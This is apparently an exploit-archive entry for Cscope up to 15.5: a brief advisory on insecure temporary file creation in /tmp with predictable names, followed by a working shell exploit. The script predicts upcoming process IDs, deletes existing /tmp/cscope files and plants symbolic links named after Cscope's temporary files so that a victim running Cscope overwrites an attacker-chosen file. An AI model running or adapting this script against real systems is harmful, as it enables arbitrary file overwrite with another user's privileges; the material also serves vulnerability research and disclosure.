Cscope 13.0/15.x - Insecure Temporary File Creation (1)

source: https://www.securityfocus.com/bid/11697/info

Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. 

During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. 

Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. 

Versions up to and including Cscope 15.5 are reported vulnerable.

#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
#################################################################

HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`

echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
        "                 [versions 15.5 and minor]\n"\
        "                   Gangstuck / Psirac\n"\
        "                 <research@rexotec.com>\n\n"

if [ $# -lt 1 ]; then
        echo "Usage: $0 <file1> [number_of_guesses]"
        exit 1
fi

rm -f /tmp/cscope*

echo "Probed next process id ........ [${NEXT}]"

while [ ! "$NEXT" -eq "$LAST" ]; do
        ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
        ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done